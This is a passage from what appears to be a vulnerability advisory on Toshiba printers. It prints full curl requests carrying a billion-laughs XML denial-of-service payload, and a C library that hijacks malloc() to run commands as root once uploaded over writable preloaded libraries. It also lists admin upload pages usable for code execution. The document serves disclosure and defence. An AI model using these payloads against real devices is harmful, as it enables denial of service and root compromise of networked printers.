\"&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;\"&gt;\x0d\x0a]&gt;\x0d\x0a&lt;lolz&gt;&amp;lol9;&lt;/lolz&gt;' \
    $'http://10.0.0.1:8080/contentwebserver' &amp;
[53] 2286190

kali% curl -i -s -k -X $'POST' \
    -H $'Host: 10.0.0.1:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Cache-Control: no-cache' -H $'Pragma: no-cache' -H $'Content-Type: text/plain; charset=utf-8' -H $'csrfpId: 10.0.0.1.852d519a6fa9825fae857bac5c003da0' -H $'Content-Length: 760' -H $'Origin: http://10.0.0.1:8080' -H $'Connection: close' -H $'Referer: http://10.0.0.1:8080/?MAIN=TOPACCESS' \
    -b $'Session=10.0.0.2.852d519a6fa9825fae857bac5c003da0; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DLOGS%26SUB%3DJOBLOGS%26CAT%3DPRINT' \
    --data-binary $'&lt;!DOCTYPE lolz [\x0d\x0a &lt;!ENTITY lol \"lol\"&gt;\x0d\x0a &lt;!ELEMENT lolz (#PCDATA)&gt;\x0d\x0a &lt;!ENTITY lol1 \"&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;\"&gt;\x0d\x0a &lt;!ENTITY lol2 \"&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;\"&gt;\x0d\x0a &lt;!ENTITY lol3 \"&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;\"&gt;\x0d\x0a &lt;!ENTITY lol4 \"&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;\"&gt;\x0d\x0a &lt;!ENTITY lol5 \"&amp;lol4;&amp;lol4;&amp;lol4;\"&gt;\x0d\x0a &lt;!ENTITY lol6 \"&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;\"&gt;\x0d\x0a &lt;!ENTITY lol7 \"&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;\"&gt;\x0d\x0a &lt;!ENTITY lol8 \"&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;\"&gt;\x0d\x0a &lt;!ENTITY lol9 \"&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;\"&gt;\x0d\x0a]&gt;\x0d\x0a&lt;lolz&gt;&amp;lol9;&lt;/lolz&gt;' \
    $'http://10.0.0.1:8080/contentwebserver' &amp;
[54] 2286192

kali% curl -i -s -k -X $'POST' \
    -H $'Host: 10.0.0.1:8080' -H $'User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:102.0) Gecko/20100101 Firefox/102.0' -H $'Accept: */*' -H $'Accept-Language: en-US,en;q=0.5' -H $'Accept-Encoding: gzip, deflate' -H $'Cache-Control: no-cache' -H $'Pragma: no-cache' -H $'Content-Type: text/plain; charset=utf-8' -H $'csrfpId: 10.0.0.1.852d519a6fa9825fae857bac5c003da0' -H $'Content-Length: 760' -H $'Origin: http://10.0.0.1:8080' -H $'Connection: close' -H $'Referer: http://10.0.0.1:8080/?MAIN=TOPACCESS' \
    -b $'Session=10.0.0.2.852d519a6fa9825fae857bac5c003da0; Locale=en-US,en#q=0.5; BrowserLang=en_US; pageTrack=MAIN%3DLOGS%26SUB%3DJOBLOGS%26CAT%3DPRINT' \
    --data-binary $'&lt;!DOCTYPE lolz [\x0d\x0a &lt;!ENTITY lol \"lol\"&gt;\x0d\x0a &lt;!ELEMENT lolz (#PCDATA)&gt;\x0d\x0a &lt;!ENTITY lol1 \"&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;&amp;lol;\"&gt;\x0d\x0a &lt;!ENTITY lol2 \"&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;&amp;lol1;\"&gt;\x0d\x0a &lt;!ENTITY lol3 \"&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;&amp;lol2;\"&gt;\x0d\x0a &lt;!ENTITY lol4 \"&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;&amp;lol3;\"&gt;\x0d\x0a &lt;!ENTITY lol5 \"&amp;lol4;&amp;lol4;&amp;lol4;\"&gt;\x0d\x0a &lt;!ENTITY lol6 \"&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;&amp;lol5;\"&gt;\x0d\x0a &lt;!ENTITY lol7 \"&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;&amp;lol6;\"&gt;\x0d\x0a &lt;!ENTITY lol8 \"&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;&amp;lol7;\"&gt;\x0d\x0a &lt;!ENTITY lol9 \"&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;&amp;lol8;\"&gt;\x0d\x0a]&gt;\x0d\x0a&lt;lolz&gt;&amp;lol9;&lt;/lolz&gt;' \
    $'http://10.0.0.1:8080/contentwebserver' &amp;
[55] 2286194
</code></pre>
<p>We can find that new Apache processes are created using <code>LD_PRELOAD</code> variables on the remote printer:</p>
<pre><code>2023/05/27 11:31:42 CMD: UID=0     PID=4132   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:42 CMD: UID=0     PID=4131   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:42 CMD: UID=0     PID=4130   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:42 CMD: UID=0     PID=4129   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0     PID=4138   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0     PID=4137   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0     PID=4136   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0     PID=4135   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0     PID=4134   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0     PID=4133   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0     PID=4139   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:43 CMD: UID=0     PID=4140   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:44 CMD: UID=0     PID=4141   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh &amp;&amp; chmod +x /root/sshd_start.sh &amp;&amp; /root/sshd_start.sh &amp;&amp; rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 11:31:44 CMD: UID=0     PID=4142   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh &amp;&amp; chmod +x /root/sshd_start.sh &amp;&amp; /root/sshd_start.sh &amp;&amp; rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 11:31:45 CMD: UID=0     PID=4143   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:46 CMD: UID=0     PID=4145   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:46 CMD: UID=0     PID=4144   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:47 CMD: UID=0     PID=4146   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh &amp;&amp; chmod +x /root/sshd_start.sh &amp;&amp; /root/sshd_start.sh &amp;&amp; rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 11:31:47 CMD: UID=0     PID=4147   | watch -n 3 -t if [ -e /root/sshd_start.sh ]; then dos2unix /root/sshd_start.sh &amp;&amp; chmod +x /root/sshd_start.sh &amp;&amp; /root/sshd_start.sh &amp;&amp; rm /root/sshd_start.sh || rm /root/sshd_start.sh; fi
2023/05/27 11:31:47 CMD: UID=0     PID=4151   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:47 CMD: UID=0     PID=4150   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:47 CMD: UID=0     PID=4149   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:47 CMD: UID=0     PID=4148   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0     PID=4156   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0     PID=4155   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0     PID=4154   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0     PID=4153   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0     PID=4152   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
2023/05/27 11:31:48 CMD: UID=0     PID=4158   | /usr/local/ebx/bin/httpd -f /encryption/al/network/config/httpd.conf -k start
</code></pre>
<p>We can analyze a newly-created Apache process. For example, the Apache process with the PID 4129 will have some libraries loaded in order to execute code implemented in these libraries:</p>
<pre><code>bash-4.1# cat /proc/4129/maps
08048000-080bb000 r-xp 00000000 08:02 155908     /home/SYSROM_SRC/build/thirdparty/bin/httpd
080bb000-080bf000 rw-p 00072000 08:02 155908     /home/SYSROM_SRC/build/thirdparty/bin/httpd
080bf000-0833e000 rw-p 00000000 00:00 0          [heap]
0833e000-08360000 rw-p 00000000 00:00 0          [heap]
08360000-083e8000 rw-p 00000000 00:00 0          [heap]
4bc47000-4bc63000 r-xp 00000000 08:02 11770      /lib/ld-2.11.3.so
4bc63000-4bc64000 r--p 0001b000 08:02 11770      /lib/ld-2.11.3.so
4bc64000-4bc65000 rw-p 0001c000 08:02 11770      /lib/ld-2.11.3.so
4bc67000-4bda6000 r-xp 00000000 08:02 11750      /lib/libc-2.11.3.so
4bda6000-4bda7000 ---p 0013f000 08:02 11750      /lib/libc-2.11.3.so
4bda7000-4bda9000 r--p 0013f000 08:02 11750      /lib/libc-2.11.3.so
4bda9000-4bdaa000 rw-p 00141000 08:02 11750      /lib/libc-2.11.3.so
4bdaa000-4bdad000 rw-p 00000000 00:00 0
4bdaf000-4bdb1000 r-xp 00000000 08:02 11665      /lib/libdl-2.11.3.so
4bdb1000-4bdb2000 r--p 00001000 08:02 11665      /lib/libdl-2.11.3.so
4bdb2000-4bdb3000 rw-p 00002000 08:02 11665      /lib/libdl-2.11.3.so
4bdbf000-4bddf000 r-xp 00000000 08:02 139743     /usr/lib/libpcre.so.3.12.1
4bddf000-4bde0000 rw-p 0001f000 08:02 139743     /usr/lib/libpcre.so.3.12.1
4bdee000-4bdf0000 r-xp 00000000 08:02 144969     /usr/lib/libcom_err.so.2.1
4bdf0000-4bdf1000 rw-p 00001000 08:02 144969     /usr/lib/libcom_err.so.2.1
4bdfa000-4be0c000 r-xp 00000000 08:02 145525     /usr/lib/libz.so.1.2.3
4be0c000-4be0d000 rw-p 00011000 08:02 145525     /usr/lib/libz.so.1.2.3
4be0f000-4be12000 r-xp 00000000 08:02 144902     /usr/lib/libuuid.so.1.3.0
4be12000-4be13000 rw-p 00002000 08:02 144902     /usr/lib/libuuid.so.1.3.0
4be15000-4be1c000 r-xp 00000000 08:02 11732      /lib/librt-2.11.3.so
4be1c000-4be1d000 r--p 00006000 08:02 11732      /lib/librt-2.11.3.so
4be1d000-4be1e000 rw-p 00007000 08:02 11732      /lib/librt-2.11.3.so
4be7e000-4be9f000 r-xp 00000000 08:02 142900     /usr/lib/libk5crypto.so.3.1
4be9f000-4bea0000 rw-p 00021000 08:02 142900     /usr/lib/libk5crypto.so.3.1
4bea7000-4bead000 r-xp 00000000 08:02 140031     /usr/lib/libkrb5support.so.0.1
4bead000-4beae000 rw-p 00005000 08:02 140031     /usr/lib/libkrb5support.so.0.1
4c04f000-4c133000 r-xp 00000000 08:02 145085     /usr/lib/libstdc++.so.6.0.13
4c133000-4c137000 r--p 000e4000 08:02 145085     /usr/lib/libstdc++.so.6.0.13
4c137000-4c138000 rw-p 000e8000 08:02 145085     /usr/lib/libstdc++.so.6.0.13
...
710a3000-710a5000 r-xp 00000000 08:02 153564     /home/SYSROM_SRC/build/thirdparty/lib/mod_authn_file.so
710a5000-710a6000 rw-p 00001000 08:02 153564     /home/SYSROM_SRC/build/thirdparty/lib/mod_authn_file.so
710a6000-710a9000 r-xp 00000000 08:02 154158     /home/SYSROM_SRC/build/thirdparty/lib/mod_authn_core.so
710a9000-710aa000 rw-p 00002000 08:02 154158     /home/SYSROM_SRC/build/thirdparty/lib/mod_authn_core.so
710aa000-710b4000 r-xp 00000000 08:02 154478     /home/SYSROM_SRC/build/thirdparty/lib/mod_dav_fs.so
710b4000-710b5000 rw-p 00009000 08:02 154478     /home/SYSROM_SRC/build/thirdparty/lib/mod_dav_fs.so
...
75674000-75677000 r--p 00064000 08:02 153751     /home/SYSROM_SRC/build/thirdparty/lib/libssl.so.1.0.0
75677000-7567b000 rw-p 00067000 08:02 153751     /home/SYSROM_SRC/build/thirdparty/lib/libssl.so.1.0.0
7567b000-756b0000 r-xp 00000000 08:02 154613     /home/SYSROM_SRC/build/thirdparty/lib/libldap-2.4.so.2.5.6
756b0000-756b3000 rw-p 00034000 08:02 154613     /home/SYSROM_SRC/build/thirdparty/lib/libldap-2.4.so.2.5.6
756b3000-756bd000 r-xp 00000000 08:02 11632      /lib/libpam.so.0.82.2
756bd000-756be000 rw-p 0000a000 08:02 11632      /lib/libpam.so.0.82.2
756be000-76217000 r-xp 00000000 08:02 21362      /home/SYSROM_SRC/build/release/lib/libssdk.so.0.0.0
76217000-76258000 rw-p 00b58000 08:02 21362      /home/SYSROM_SRC/build/release/lib/libssdk.so.0.0.0
76258000-7625f000 rw-p 00000000 00:00 0
7625f000-7626a000 r-xp 00000000 08:02 20801      /home/SYSROM_SRC/build/release/lib/libcimsg.so.0
7626a000-7626b000 rw-p 0000a000 08:02 20801      /home/SYSROM_SRC/build/release/lib/libcimsg.so.0
7626b000-76273000 r-xp 00000000 08:02 20878      /home/SYSROM_SRC/build/release/lib/mod_efiwebserver.so.0
76273000-76274000 rw-p 00007000 08:02 20878      /home/SYSROM_SRC/build/release/lib/mod_efiwebserver.so.0
76274000-76275000 ---p 00000000 00:00 0
76275000-76a74000 rwxp 00000000 00:00 0
76a74000-76a77000 rw-p 00000000 00:00 0
76a77000-76a7b000 r-xp 00000000 08:02 11633      /lib/libattr.so.1.1.0
76a7b000-76a7c000 rw-p 00003000 08:02 11633      /lib/libattr.so.1.1.0
76a7c000-76a82000 r-xp 00000000 08:02 11721      /lib/libacl.so.1.1.0
76a82000-76a83000 rw-p 00005000 08:02 11721      /lib/libacl.so.1.1.0
76a83000-76a84000 rw-p 00000000 00:00 0
76a84000-76af3000 r-xp 00000000 08:02 21782      /home/SYSROM_SRC/build/release/lib/libcios.so.0
76af3000-76af7000 rw-p 0006f000 08:02 21782      /home/SYSROM_SRC/build/release/lib/libcios.so.0
76af7000-76b50000 r-xp 00000000 08:02 145519     /usr/lib/libintlc.so.5
76b50000-76b53000 rw-p 00059000 08:02 145519     /usr/lib/libintlc.so.5
76b53000-76b5c000 r-xp 00000000 08:02 11622      /lib/libcrypt-2.11.3.so
76b5c000-76b5d000 r--p 00008000 08:02 11622      /lib/libcrypt-2.11.3.so
76b5d000-76b5e000 rw-p 00009000 08:02 11622      /lib/libcrypt-2.11.3.so
76b5e000-76b85000 rw-p 00000000 00:00 0
76b85000-76b97000 r-xp 00000000 08:02 154448     /home/SYSROM_SRC/build/thirdparty/lib/libroken.so.18.1.0
76b97000-76b98000 rw-p 00012000 08:02 154448     /home/SYSROM_SRC/build/thirdparty/lib/libroken.so.18.1.0
76b98000-76b99000 rw-p 00000000 00:00 0
76b99000-76b9c000 r-xp 00000000 08:02 154186     /home/SYSROM_SRC/build/thirdparty/lib/libcom_err.so.1.1.3
76b9c000-76b9d000 rw-p 00002000 08:02 154186     /home/SYSROM_SRC/build/thirdparty/lib/libcom_err.so.1.1.3
76b9d000-76bc4000 r-xp 00000000 08:02 154600     /home/SYSROM_SRC/build/thirdparty/lib/libwind.so.0.0.0
76bc4000-76bc5000 rw-p 00027000 08:02 154600     /home/SYSROM_SRC/build/thirdparty/lib/libwind.so.0.0.0
76bc5000-76c64000 r-xp 00000000 08:02 154326     /home/SYSROM_SRC/build/thirdparty/lib/libasn1.so.8.0.0
76c64000-76c67000 rw-p 0009f000 08:02 154326     /home/SYSROM_SRC/build/thirdparty/lib/libasn1.so.8.0.0
76c67000-76c96000 r-xp 00000000 08:02 153499     /home/SYSROM_SRC/build/thirdparty/lib/libhcrypto.so.4.1.0
76c96000-76c99000 rw-p 0002e000 08:02 153499     /home/SYSROM_SRC/build/thirdparty/lib/libhcrypto.so.4.1.0
76c99000-76c9a000 rw-p 00000000 00:00 0
76c9a000-76d0b000 r-xp 00000000 08:02 153648     /home/SYSROM_SRC/build/thirdparty/lib/libheimsqlite.so.0.0.0
76d0b000-76d0d000 rw-p 00070000 08:02 153648     /home/SYSROM_SRC/build/thirdparty/lib/libheimsqlite.so.0.0.0
76d0d000-76d0e000 rw-p 00000000 00:00 0
76d0e000-76d4d000 r-xp 00000000 08:02 154400     /home/SYSROM_SRC/build/thirdparty/lib/libhx509.so.5.0.0
76d4d000-76d4f000 rw-p 0003f000 08:02 154400     /home/SYSROM_SRC/build/thirdparty/lib/libhx509.so.5.0.0
76d4f000-76d55000 r-xp 00000000 08:02 145615     /usr/lib/libirng.so
76d55000-76d58000 rw-p 00005000 08:02 145615     /usr/lib/libirng.so
76d58000-76d6b000 r-xp 00000000 08:02 21737      /home/SYSROM_SRC/build/release/lib/libllmnrclient.so.0
76d6b000-76d6c000 rw-p 00012000 08:02 21737      /home/SYSROM_SRC/build/release/lib/libllmnrclient.so.0
76d6c000-77568000 r-xp 00000000 08:02 157246     /mfp/lib/libsvml.so
77568000-77586000 rw-p 007fc000 08:02 157246     /mfp/lib/libsvml.so
77586000-77587000 rw-p 00000000 00:00 0
77587000-775ad000 r-xp 00000000 08:02 11746      /lib/libm-2.11.3.so
775ad000-775ae000 r--p 00025000 08:02 11746      /lib/libm-2.11.3.so
775ae000-775af000 rw-p 00026000 08:02 11746      /lib/libm-2.11.3.so
775af000-77624000 r-xp 00000000 08:02 145632     /usr/lib/libsqlite3.so.0.8.6
77624000-77626000 rw-p 00074000 08:02 145632     /usr/lib/libsqlite3.so.0.8.6
77626000-77627000 rw-p 00000000 00:00 0
77627000-77695000 r-xp 00000000 08:02 154620     /home/SYSROM_SRC/build/thirdparty/lib/libkrb5.so.25.0.0
77695000-77698000 rw-p 0006e000 08:02 154620     /home/SYSROM_SRC/build/thirdparty/lib/libkrb5.so.25.0.0
77698000-776ad000 r-xp 00000000 08:02 11629      /lib/libpthread-2.11.3.so
776ad000-776ae000 r--p 00014000 08:02 11629      /lib/libpthread-2.11.3.so
776ae000-776af000 rw-p 00015000 08:02 11629      /lib/libpthread-2.11.3.so
776af000-776b2000 rw-p 00000000 00:00 0
776b2000-776db000 r-xp 00000000 08:02 153455     /home/SYSROM_SRC/build/thirdparty/lib/libapr-1.so.0.7.0
776db000-776dd000 rw-p 00028000 08:02 153455     /home/SYSROM_SRC/build/thirdparty/lib/libapr-1.so.0.7.0
776dd000-776fb000 r-xp 00000000 08:02 154622     /home/SYSROM_SRC/build/thirdparty/lib/libaprutil-1.so.0.6.1
776fb000-776fd000 rw-p 0001e000 08:02 154622     /home/SYSROM_SRC/build/thirdparty/lib/libaprutil-1.so.0.6.1
776fd000-776fe000 rw-p 00000000 00:00 0
776fe000-77702000 r-xp 00000000 08:02 154313     /home/SYSROM_SRC/build/thirdparty/lib/mod_headers.so
77702000-77703000 rw-p 00003000 08:02 154313     /home/SYSROM_SRC/build/thirdparty/lib/mod_headers.so
77703000-77712000 r-xp 00000000 00:0d 10594      /ramdisk/al/libGetAddtInfoInterface.so
77712000-77714000 rw-p 0000e000 00:0d 10594      /ramdisk/al/libGetAddtInfoInterface.so
77714000-77715000 rw-p 00000000 00:00 0
77715000-77720000 r-xp 00000000 00:0d 11406      /ramdisk/al/libGetNameInfoInterface.so
77720000-77722000 rw-p 0000a000 00:0d 11406      /ramdisk/al/libGetNameInfoInterface.so
</code></pre>
<p>Because of weak permissions, we can overwrite hundreds of libraries to get Remote Code Execution.</p>
<p>We can overwrite the 2 libraries that will be loaded by default by the programs running inside the printers:</p>
<ul>
<li><code>/ramdisk/al/libGetAddtInfoInterface.so</code></li>
<li><code>/ramdisk/al/libGetNameInfoInterface.so</code></li>
</ul>
<p>These 2 libraries export Intel-optimized functions.</p>
<p>Exported functions found in the LD_PRELOAD'ed libraries:</p>
<pre><code>kali% nm -D /home/user/research/printers/topaccess/4.50-latest-version/4.50-new-version/extract/home/SYSROM_SRC/build/release/lib/libGetNameInfoInterface.so.0
0000cf40 A __bss_start
00009150 T __cacheSize
         w __cxa_finalize@GLIBC_2.1.3
         U dlsym@GLIBC_2.0
0000cf40 A _edata
0000cfc0 A _end
00009d04 T _fini
00002340 T getnameinfo
00002290 T getNameInfoWrapper
         w __gmon_start__
00002088 T _init
00009cb0 T __intel_f2int
00002530 T _intel_fast_memcpy
00002440 T _intel_fast_memcpy.A
00002500 T _intel_fast_memcpy.H
00002470 T _intel_fast_memcpy.J
000024a0 T _intel_fast_memcpy.M
000024d0 T _intel_fast_memcpy.P
000026f0 T _intel_fast_memset
00002600 T _intel_fast_memset.A
00002660 T _intel_fast_memset.H
00002630 T _intel_fast_memset.J
00002690 T _intel_fast_memset.M
000026c0 T _intel_fast_memset.P
000027cc T __intel_memcpy
000033fd T __intel_memset
000027c0 T __intel_new_memcpy
00003b10 T __intel_new_memcpy_P3
000033f0 T __intel_new_memset
00004a90 T __intel_new_memset_P3
000051e0 T __intel_sse2_memset
00005850 T __intel_sse2_rep_memset
00005dd0 T __intel_ssse3_memcpy
00007dc0 T __intel_ssse3_rep_memcpy
         w _Jv_RegisterClasses
         U memcpy@GLIBC_2.0
         U memset@GLIBC_2.0
         U pthread_create@GLIBC_2.1
         U pthread_join@GLIBC_2.0
kali% nm -D /home/user/research/printers/topaccess/4.50-latest-version/4.50-new-version/extract/home/SYSROM_SRC/build/release/lib/libGetNameInfoInterface.so.0
0000cf40 A __bss_start
00009150 T __cacheSize
         w __cxa_finalize@GLIBC_2.1.3
         U dlsym@GLIBC_2.0
0000cf40 A _edata
0000cfc0 A _end
00009d04 T _fini
00002340 T getnameinfo
00002290 T getNameInfoWrapper
         w __gmon_start__
00002088 T _init
00009cb0 T __intel_f2int
00002530 T _intel_fast_memcpy
00002440 T _intel_fast_memcpy.A
00002500 T _intel_fast_memcpy.H
00002470 T _intel_fast_memcpy.J
000024a0 T _intel_fast_memcpy.M
000024d0 T _intel_fast_memcpy.P
000026f0 T _intel_fast_memset
00002600 T _intel_fast_memset.A
00002660 T _intel_fast_memset.H
00002630 T _intel_fast_memset.J
00002690 T _intel_fast_memset.M
000026c0 T _intel_fast_memset.P
000027cc T __intel_memcpy
000033fd T __intel_memset
000027c0 T __intel_new_memcpy
00003b10 T __intel_new_memcpy_P3
000033f0 T __intel_new_memset
00004a90 T __intel_new_memset_P3
000051e0 T __intel_sse2_memset
00005850 T __intel_sse2_rep_memset
00005dd0 T __intel_ssse3_memcpy
00007dc0 T __intel_ssse3_rep_memcpy
         w _Jv_RegisterClasses
         U memcpy@GLIBC_2.0
         U memset@GLIBC_2.0
         U pthread_create@GLIBC_2.1
         U pthread_join@GLIBC_2.0
kali%
</code></pre>
<p>An attacker can create a new library and export a function that will be used by any program, for example <code>malloc()</code>.</p>
<p>A custom library has been written, hijacking the control flow of the <code>malloc()</code> function:</p>
<pre><code>kali% cat Makefile 
all:
        rm /home/user/research/printers/topaccess/malloc/malloc.so
        gcc -o malloc.so -m32 -shared -fPIC malloc.c

kali% cat malloc.c 
#include &lt;stdio.h&gt;
#include &lt;unistd.h&gt;
#include &lt;stdlib.h&gt;
#include &lt;dlfcn.h&gt;

void *malloc(size_t size)
{
  static void *(*fptr)(size_t) = NULL;

  if (fptr == NULL)
  {
    fptr = (void *(*)(size_t))dlsym(RTLD_NEXT, "malloc");
    if (fptr == NULL)
    {
      printf("dlsym: %s\n", dlerror());
      return NULL;
    }
  }

  system("LD_PRELOAD='' id &gt; /dev/shm/id");

  return (*fptr)(size);
}
kali% make
rm /home/user/research/printers/topaccess/malloc/malloc.so
gcc -o malloc.so -m32 -shared -fPIC malloc.c
kali% ls -la
total 32
drwx------ 2 user user  4096 May 13 11:04 .
drwx------ 4 user user  4096 May 13 11:02 ..
-rw------- 1 user user   112 May 13 11:04 Makefile
-rw------- 1 user user   398 May 13 11:03 malloc.c
-rwx------ 1 user user 14696 May 13 11:04 malloc.so
kali%
</code></pre>
<p>When uploading this library as <code>/ramdisk/al/libGetAddtInfoInterface.so</code> or <code>/ramdisk/al/libGetNameInfoInterface.so</code>, the <code>malloc()</code> function will be executed by some programs running inside the printers and the id command will be executed as root (the output will be written into <code>/dev/shm/id</code>).</p>
<p>A side effect it that a lot of programs will also crash. The execution of the malicious payload will still work.</p>
<p>By targeting only specific functions used by Apache or specific programs inside the printer, it is possible to avoid crashing the programs.</p>
<p><a id="pre-auth-rce-misc"></a></p>
<h3>Other ways to get Remote Code Execution</h3>
<p>An attacker can use the other vulnerabilities to get Remote Code Execution:</p>
<ul>
<li><a href="#lpe-rce-path">Local Privilege Escalation and Remote Code Execution using insecure PATH</a></li>
<li><a href="#lpe-rce-ld-preload">Local Privilege Escalation and Remote Code Execution using insecure LD_PRELOAD</a></li>
<li><a href="#lpe-rce-ld-library-path">Local Privilege Escalation and Remote Code Execution using insecure LD_LIBRARY_PATH</a></li>
<li><a href="#lpe-rce-106-programs">Local Privilege Escalation and Remote Code Execution using insecure permissions for 106 programs</a></li>
<li><a href="#lpe-rce-cissm">Local Privilege Escalation and Remote Code Execution using CISSM</a></li>
</ul>
<p>An attacker can remotely compromise any Toshiba printer.</p>
<p>An attacker can overwrite any insecure files (including programs running as root and Python code).</p>
<p><a id="post-auth-rces-upload"></a></p>
<h2>Details - Multiple Post-authenticated Remote Code Executions as root</h2>
<p>Toshiba printers provide several ways to upload files using the admin web interface.</p>
<p>The vulnerability in this chapter is similar to <a href="#pre-auth-rces-upload">Pre-authenticated Remote Code Execution as root or apache and multiple Local Privilege Escalations</a> but requires authentication on the TopAccess interface.</p>
<p>When an administrator is authenticated, it is possible to upload documents within the web interface using the maintenance interface:</p>
<ul>
<li>Upload of drivers files;</li>
<li>Upload of MAC PPD Files;</li>
<li>Upload of Unix Filters;</li>
<li>Upload of Driver packages;</li>
<li>Upload of address book, mailboxes and templates;</li>
<li>Upload of SSL certificates;</li>
<li>...</li>
</ul>
<p>Several webpages with an upload forms can be found in the admin interface:</p>
<ul>
<li>http://printer-ip/Administration/maintenance/uploadsoft/UnixList.html</li>
<li>http://printer-ip/Administration/maintenance/uploadsoft/UploadList.html</li>
<li>http://printer-ip/Administration/maintenance/xmlformat/XmlFormatList.html</li>
<li>http://printer-ip/Administration/maintenance/uploadsoft/MacList.html</li>
<li>http://printer-ip/Administration/maintenance/import/ImportListFrame.html</li>
<li>http://printer-ip/Administration/Languages/InstallLanguagesUpload.html</li>
<li>http://printer-ip/Administration/AdminRegistration/ImageIconManagementFrame.html</li>
<li>http://printer-ip/Administration/Cloning/CloneFileUpload.html</li>
<li>http://printer-ip/Administration/maintenance/uploadsoft/DriverCustomize.html</li>
